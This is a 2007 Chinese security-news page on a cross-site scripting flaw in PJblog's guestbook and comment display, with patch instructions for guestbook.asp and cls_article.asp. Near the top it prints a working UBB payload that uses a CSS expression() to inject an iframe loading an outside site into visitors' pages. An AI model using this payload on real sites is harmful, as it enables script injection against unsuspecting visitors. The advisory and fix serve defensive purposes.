PJblog跨站漏洞利用及修补

您的位置：首页 >>网安资讯 >>IT业界 >> 文章内容

PJblog跨站漏洞利用及修补

[ 信息来源：西部网安 ] [ 发布时间：2007-06-28 ]

跨站漏洞成功演示代码：

以下为引用的内容：
[font=expression(container.document.write(unescape('%3Ciframe%20src%3D%27http%3A//www.godx.cn%27%3E%3C/iframe%3E')))]God[/font] 
 westsafe.net

对策。。。屏蔽关键字

如果不用屏蔽关键字的办法,　则使用下面的办法修补漏洞

用记事本打开　guestbook.asp

查找

以下为引用的内容：
<%=UBBCode(HtmlEncode(GuestDB("book_Content")),0,GBSet.getKeyValue("ubbCode"),GBSet.getKeyValue("ImgCode"),GBSet.getKeyValue("autoURL"),1)%>

网安官方站

改成

以下为引用的内容：

<%=CheckStr(UBBCode(HtmlEncode(GuestDB("book_Content")),0,GBSet.getKeyValue("ubbCode"),GBSet.getKeyValue("ImgCode"),GBSet.getKeyValue("autoURL"),1))%>

同样
cls_article.asp

以下为引用的内容：
<%=UBBCode(HtmlEncode(blog_CommContent),commArr(4,Pcount),blog_commUBB,blog_commIMG,commArr(7,Pcount),commArr(9,Pcount))%>

西部网安

改成

以下为引用的内容：
<%=CheckStr(UBBCode(HtmlEncode(blog_CommContent),commArr(4,Pcount),blog_commUBB,blog_commIMG,commArr(7,Pcount),commArr(9,Pcount)))%>

网安官方站

声明：西部网安刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。

上一篇：从注入到拿WEBSHELL(BBSXP7 mssql版) 下一篇：新网DNS服务器再次故障 URL转发功能无法使用

·在线评论

评论列表

赞助展示链接

热点文章

精彩图片

	赛车版无间道极品飞车12真人游
	第十二代《极品飞车：卧底》(Need for Speed Undercover)是EA Black B

	奥林巴斯E-520样张：美女花木衣
	奥林巴斯E-520是一款外形小巧、携带方便的数码单反相机，更是一款非常

	全球最轻播放器之一 Cube D7美女
	DCube D7十分小巧，其三围是59.53311mm ，重25克。受制机身的限制，D7

	黑丝袜的诱惑性感美女演绎台电T
	台电T50+在前作的基础上加入了TV-OUT电视输出功能，采用WQVGA多点触摸

	周杰伦大名远洋成中国入选W3C规
	2008年8月29日，W3C的Web IDL工作草案正式发布，令人惊奇的是在规范说